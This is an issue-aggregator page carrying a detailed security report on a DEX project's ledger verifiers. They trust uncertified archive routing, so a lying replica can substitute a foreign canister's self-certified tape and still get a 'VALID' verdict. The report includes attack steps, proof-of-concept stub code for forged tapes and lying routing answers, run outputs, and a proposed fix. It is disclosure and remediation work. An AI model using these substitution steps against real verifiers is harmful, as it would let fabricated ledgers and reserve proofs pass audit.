Both ledger verifiers certify whichever canister the uncertified getArchives answer names, so a lying replica can route the walk to a foreign, self-certified tape and get VALID

オープン
#84 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
18/100
issue の種類
バグ
明瞭さ
おおむね明確
活発さ
活発
技術スタック
javascript, nodejs
領域
security, tooling

調査の方向性

Start with the routing fetch in scripts/verify_ledger.mjs (around lines 387-431) and validateArchiveCert (lines 332-357), then the matching code in src/frontend/src/ledger.js (validateCertifiedHead, lines 127-175). The fix needs a trust anchor for the archive canister ids that the routing answer cannot choose, so this is a design decision to agree on before any code. Done means a substituted foreign canister fails verification, with a regression scenario added to tests/fixtures/verify-ledger-stub and tests/test_verify_ledger_gate.sh.

索引モデルが issue の本文から書いたものです。

説明

Severity (proposed): Medium (#play); High on #production, by the same split the project applied to #55.1 (same adversary, same class of uncertified input). Integrity is not capped by play money. No value moves; the harm is the verifiers' strongest verdict over a tape that never came from the exchange.

Category: Ledger integrity — the trust root of the off-chain verifiers (scripts/verify_ledger.mjs and the Ledger page's verifyChainClient).

Summary

W2-04 made a subnet certificate per segment the check that proves the archived tape. Each certificate is validated against the canister id taken from the backend's routing answer: getArchives, or getSeasonArchives + getSeasonRecords in season mode. All three are plain query methods, and the backend sets no certified_data anywhere. Certificate.create({principal:{canisterId: cid}}) plus lookup_path(["canister", cid, "certified_data"]) proves only that cid certified that head. It does not prove that cid is an archive of this exchange, and nothing else in either verifier checks that.

So a replica that lies on the routing query can name a canister it deployed. That canister serves a self-consistent fabricated tape and certifies its own head. Every check passes: the #55.1 origin pin, the H-18 list-shape check, the link walk, the head match and every certificate. verify_ledger.mjs --full --fold exits 0 with "IC certificate VALID" and folds the forged liabilities. The browser verifier returns certOk = true.

Affected surface

At 7bcdde6 (release 1.80).

Mechanism

The routing table is a plain query answered by the party under audit (main.mo:11059-11069). It lists _archivesSealed, then archive0 as the open row. Both verifiers then validate each segment for the id that answer named (verify_ledger.mjs:338-347; ledger.js has the same code):

const cid = Principal.fromText(canisterIdText);          // a.canisterId from getArchives()
const cert = await Certificate.create({ certificate: ..., rootKey: ..., principal: { canisterId: cid }, ... });
const res = cert.lookup_path([enc.encode("canister"), cid.toUint8Array(), enc.encode("certified_data")]);

Any canister can set its own certified_data, so a genuine certificate for cid says nothing about whether cid belongs to this backend. Nothing else ties the id to the backend:

  • The routing table is not certified: main never calls CertifiedData.set.
  • Neither verifier reads /canister/<id>/controllers or module_hash (no read_state in either), or pins previously seen sealed ids.
  • validateArchiveList checks only that the open row is last and the ranges ascend.

The CLI comment at verify_ledger.mjs:387-390 claims the per-segment certificates "prove" the routing answers. They prove content for the named canister, not which canister gets named.

Season mode adds no independent anchor: the recorded set (verify_ledger.mjs:414, ledger.js:249) and SeasonRecord.chainHead come from the same uncertified getSeasonRecords answer.

Who can forge the routing answer. A hostile gateway alone cannot: @icp-sdk/core 5.4.0's HttpAgent verifies query node signatures by default, and neither verifier disables that. A single malicious or compromised replica node on the backend's subnet can sign a lying getArchives reply with its own valid node key; #4 calls a hostile replica "the specific adversary it is built for". Archive certificates stop that node from forging getEventsRange answers; substitution moves the lie one hop up, into the routing table, which nothing certified covers.

Reproduction

Executed offline; not run on a replica or against the live venue. An unmodified copy of scripts/verify_ledger.mjs (checked with cmp) ran against the repo's hostile-host stub tests/fixtures/verify-ledger-stub, wired as in tests/test_verify_ledger_gate.sh:195-212, plus two scenarios. The stub's Certificate.create answers per canister id and fakes BLS, as every gate scenario does; on the real IC the attacker's certificate is genuine (it is that canister's own certified data). That step rests on standard IC semantics and was not executed on a real subnet.

Attack steps (one malicious replica on the backend's subnet; no controller, no user principal):

  1. Deploy canister C anywhere on the IC, exposing the archive's getEventsRange / getCertifiedHead candid. It serves either a self-consistent tape from seq 0 or one continuing from the last genuine sealed head, and calls CertifiedData.set(head).
  2. When a getArchives() query reaches the malicious node, answer either [{canisterId: C, firstSeq: 0, lastSeq: null}] (replace the whole ledger) or the genuine sealed rows followed by {canisterId: C, firstSeq: <next>, lastSeq: null} (replace the active segment). For --season N, answer getSeasonRecords and getSeasonArchives(N) consistently.
  3. node scripts/verify_ledger.mjs --backend <id> --host https://icp-api.io --full --fold, or "Verify in my browser", passes.
stub-agent.js additions (node, commit 7bcdde6)

Added to tests/fixtures/verify-ledger-stub/stub-agent.js, which is otherwise unchanged. mk, hashEvent, EVENTS, CERTIFIED, CERT_BYTES, ARCHIVE0_ID and SCENARIO are the stub's own. The three insertion points are shown in order: after the tape fixtures, in the archive-actor factory, and in the backend's getArchives.

// after the tape fixtures
const FOREIGN_WHOLE  = SCENARIO === "foreign-canister";   // replace the whole list
const FOREIGN_SUFFIX = SCENARIO === "foreign-suffix";     // keep genuine sealed [0..1], replace the active row
const FOREIGN_ID = "qoctq-giaaa-aaaaa-aaaea-cai";
const FORGED = [];
if (FOREIGN_WHOLE) {
  FORGED.push(mk(0, "ICP", 1, []));
  FORGED.push(mk(1, "ICP", 1, [new Uint8Array(hashEvent(FORGED[0]))]));
  FORGED.push(mk(2, "USDT", 1, [new Uint8Array(hashEvent(FORGED[1]))]));
}
if (FOREIGN_SUFFIX) {   // links to the GENUINE sealed head, then rewrites everything after it
  FORGED.push(mk(2, "USDT", 1, [new Uint8Array(hashEvent(EVENTS[1]))]));
  FORGED.push(mk(3, "ICP", -750_000_000, [new Uint8Array(hashEvent(FORGED[0]))]));
}
if (FORGED.length) CERTIFIED[FOREIGN_ID] = new Uint8Array(hashEvent(FORGED[FORGED.length - 1]));

// archive-actor factory: the foreign canister serves its own tape and its own certified head
    if (canisterId === FOREIGN_ID) {
      return {
        async getEventsRange(from, count) {
          const f = Number(from), n = Number(count);
          return FORGED.filter((e) => Number(e.seq) >= f && Number(e.seq) < f + n);
        },
        async getCertifiedHead() {
          return { headHash: [CERTIFIED[FOREIGN_ID]], headSeq: [FORGED[FORGED.length - 1].seq],
                   chainStartSeq: [FORGED[0].seq], certificate: [CERT_BYTES] };
        },
      };
    }

// backend getArchives: the lying routing answer
        if (FOREIGN_WHOLE) return [{ canisterId: FOREIGN_ID, firstSeq: 0n, lastSeq: [] }];
        if (FOREIGN_SUFFIX) return [
          { canisterId: ARCHIVE0_ID, firstSeq: 0n, lastSeq: [1n] },   // genuine sealed segment
          { canisterId: FOREIGN_ID, firstSeq: 2n, lastSeq: [] },      // genuine active archive never named
        ];

Each run is MDX_STUB_SCENARIO=<scenario> node verify_ledger.mjs --backend aaaaa-aa --host https://icp-api.io <flags>. The output below omits the stub's trace lines and the fold's attributed-flows footer.

== good-cert --full --fold            (control: honest tape)
✓ 2 chain links verified; 1 segment certificate(s) subnet-validated
✓ IC certificate VALID — the subnet vouches for the ACTIVE archive's head
PoR liabilities:  ICP 7.5   USDT 1                                     exit 0
== consistent-liar --full             (control: the #55.1 omission is refused)
✗ unjustified discontinuity: history starts at seq 2 but the chain origin is 0 — early archives omitted? ...   exit 1
== foreign-canister --full --fold     (whole ledger replaced)
routing table: 1 archive(s)
  qoctq-giaaa-aaaaa-aaaea-cai  seqs 0…live
✓ 2 chain links verified; 1 segment certificate(s) subnet-validated
✓ IC certificate VALID — the subnet vouches for the ACTIVE archive's head
PoR liabilities:  ICP 0   USDT 0                                       exit 0
== foreign-suffix --full --fold       (genuine sealed [0..1] kept, active replaced)
routing table: 2 archive(s)
  rrkah-fqaaa-aaaaa-aaaaq-cai  seqs 0…1
  qoctq-giaaa-aaaaa-aaaea-cai  seqs 2…live
✓ 3 chain links verified; 2 segment certificate(s) subnet-validated
✓ IC certificate VALID — the subnet vouches for the ACTIVE archive's head (+ 1 sealed segment(s) validated separately)
PoR liabilities:  USDT 0   (no ICP row)                                exit 0
== foreign-canister --last 3
✓ 2 chain links verified
✓ IC certificate VALID — the subnet vouches for the ACTIVE archive's head   exit 0
browser verifier: repro.mjs (node, commit 7bcdde6)

This runs verifyChainClient from an unmodified copy of src/frontend/src/ledger.js (with host.js). A three-line @icp-sdk/core/agent.js stub stands in for the SDK: Certificate.create returns a tree whose /canister/<cid>/certified_data is that canister's own head (globalThis.__CERTIFIED[cid]) and records the cid.

import { verifyChainClient, hashEvent } from "./src/ledger.js";
class P { constructor(t){this._t=t;} toText(){return this._t;} }
const U = new P("2vxsx-fae");
const mk = (seq, token, amount, prev) => ({ seq: BigInt(seq), ts: BigInt(1_700_000_000 + seq), user: U,
  counterparty: [], kind: { delta: { token, amount: BigInt(amount) } }, prevHash: prev });
async function chain(specs, startSeq = 0, prev0 = []) {
  const out = []; let prev = prev0;
  for (let i = 0; i < specs.length; i++) { const e = mk(startSeq + i, ...specs[i], prev); out.push(e); prev = [await hashEvent(e)]; }
  return out;
}
const GENUINE_ID = "ryjl3-tyaaa-aaaaa-aaaba-cai", FOREIGN_ID = "qoctq-giaaa-aaaaa-aaaea-cai";
const genuine = await chain([["ICP", 500_000_000], ["ICP", 250_000_000], ["USDT", 100_000_000]]);
const forged  = await chain([["ICP", 1], ["ICP", 1], ["USDT", 1]]);
const TAPES = { [GENUINE_ID]: genuine, [FOREIGN_ID]: forged };
globalThis.__CERTIFIED = {};
for (const [id, t] of Object.entries(TAPES)) globalThis.__CERTIFIED[id] = await hashEvent(t[t.length - 1]);
const actor = (id) => ({
  async getEventsRange(from, n) { return TAPES[id].filter((e) => e.seq >= from && e.seq < from + n); },
  async getCertifiedHead() { const t = TAPES[id]; return { headHash: [globalThis.__CERTIFIED[id]], headSeq: [t[t.length-1].seq], chainStartSeq: [0n], certificate: [new Uint8Array([1])] }; },
});
for (const [label, listed] of [["honest list", GENUINE_ID], ["substituted list", FOREIGN_ID]]) {
  globalThis.__certCids = [];
  const res = await verifyChainClient({
    listArchives: async () => [{ canisterId: listed, firstSeq: 0n, lastSeq: [] }],   // the uncertified getArchives answer
    makeRawArchiveActor: async (id) => actor(id),
    rootKey: new Uint8Array(133),
    getLedgerGaps: async () => [], getShedBaselines: async () => [],
  }, {}, () => {});
  console.log(`[${label}] listed=${listed}`);
  console.log(`   certOk=${res.certOk} segCertsOk=${res.segCertsOk} links=${res.links} headSeq=${res.headSeq} head=${res.headHex}`);
  console.log(`   certNote: ${res.certNote}`);
  console.log(`   certificates validated for: ${globalThis.__certCids.join(", ")}`);
}

Output (the certNote line, identical in both runs, is shown once):

[honest list] listed=ryjl3-tyaaa-aaaaa-aaaba-cai
   certOk=true segCertsOk=1 links=2 headSeq=2 head=cef3ff1eeeb692fc…
   certificates validated for: ryjl3-tyaaa-aaaaa-aaaba-cai, ryjl3-tyaaa-aaaaa-aaaba-cai
[substituted list] listed=qoctq-giaaa-aaaaa-aaaea-cai
   certOk=true segCertsOk=1 links=2 headSeq=2 head=a720848a188e58b6…
   certNote: IC certificate VALID — the subnet vouches for the active head
   certificates validated for: qoctq-giaaa-aaaaa-aaaea-cai, qoctq-giaaa-aaaaa-aaaea-cai

Impact

  • What breaks: both verifiers give their strongest verdict ("IC certificate VALID", exit 0, certOk = true) over a tape the exchange never wrote. That affects every consumer of the verdict:
    • the --fold Proof-of-Reserves liabilities (foreign-suffix drops all 7.5 ICP of the honest run's liabilities and still passes);
    • the hash-chained #config authority record;
    • the --season N prize-audit chain anchored to SeasonRecord.chainHead.
  • Who can do it: one malicious or compromised replica node on the backend's subnet, for queries routed to it. No user principal is involved.
  • What it does not do: it moves no value and changes no on-chain state. The real archives are untouched, and anyone who holds the genuine archive ids out of band could detect the switch.
  • Production / blackhole-at-seal: _blackholeAtSeal defaults to false (main.mo:11033). Once enabled, the docs call the past "operator-proof", but the verifiers never check that they read the blackholed segments, so the backend's controller can still route around them. That variant needs the controller; it is noted as a doc overclaim with the same root cause, not counted toward severity.
  • Not established: no run used a real subnet with a real foreign canister.

Relationship to existing reports

  • W2-04 (docs/tasks/done/W2-04-verifier-trust-anchors.md). Its root cause (:49-50) already names the archive list as an uncertified self-report. Its fix covers omission and truncation, and it adds per-segment certificates validated for whatever id the list names. Its claim at :62-63, that this makes rewriting a sealed segment cost a forged BLS signature, fails under substitution: the attacker never rewrites a segment, it just stops naming it. This report is an incomplete-fix residual of W2-04, about the list's identity rather than its coverage.
  • #55.1 (OhShii Labs / Ravenith). Same adversary class and the same uncertified input, but the mechanism there is omitting a prefix, fixed by pinning origin = 0. That pin does not stop a substituted tape starting at seq 0. Its "What bounds it" rests on "the certificate still binds the ACTIVE head", and substitution breaks exactly that. consistent-liar above shows the #55.1 fix holding; foreign-canister shows it bypassed.
  • H-18 / F21: validateArchiveList checks ordering and the open row, not identity.
  • #4.3 / #4.4 (OhShii Labs) made the browser certificate check actually run against a trusted root key. This report takes that as given; the problem is which cid it runs for.
  • #51 follow-up item 1 (OhShii Labs; a certificate "replayed from another canister", now the wrong-head scenario) is the case a cid-scoped lookup correctly refuses. This is the reverse: a genuine certificate for a canister the attacker chose.

Suggested fix

  1. Certify the routing table on the backend. Keep a 32-byte digest over the ordered getArchives rows, every _seasonArchives row, and each SeasonRecord's (season, archives, chainHead, finalEventSeq). Set it with CertifiedData.set from a single recertifyRouting() helper, the archive's own pattern (ArchiveCanister.mo:318; getCertifiedHead at :333-345). Call it after every mutation of _archivesSealed, archive0, _activeFirstSeq, _seasonArchives or seasonRecords (for example main.mo:10758, 10873-10874, 11854-11861, 11919, 12227-12232, 22851-22905, 23156) and in postupgrade (main.mo:9467). Serve the rows together with CertifiedData.getCertificate().
  2. In both verifiers, recompute the digest from the served rows. Validate it with the existing validateArchiveCert / validateCertifiedHead logic against the backend id given out of band (--backend; the build-time canisterEnv id in the browser) before trusting any listed id.
  3. Production, optional: where blackhole-at-seal is claimed, also read each sealed segment's module_hash (pinned to the archive wasm) and controllers (must be empty) through a certified read_state. A controllers check alone is not enough, because anyone can add the backend as a controller of their own canister.
  4. Correct verify_ledger.mjs:387-390 and the W2-04 claim. Add foreign-canister / foreign-suffix to tests/fixtures/verify-ledger-stub, so that tests/test_verify_ledger_gate.sh pins the refusal.

Part 17 of 28 from an independent review of MULTI/DEX 1.80 (7bcdde6), carried out with Claude Opus 5.5. Each finding was checked against the existing issues, advisories and fix briefs before filing; the severity is a proposal under CONTRIBUTORS.md. Where a step says "traced", it was read from source and not executed.

主要言語
Shell
スター
19
フォーク
7
PR マージ指標
30日以内にマージされた PR はありません

環境構築

このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

dfinity/public-multidex のほかの issue

dfinity/public-multidex の issue をすべて見る

似ている issue

Shell/Bash の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。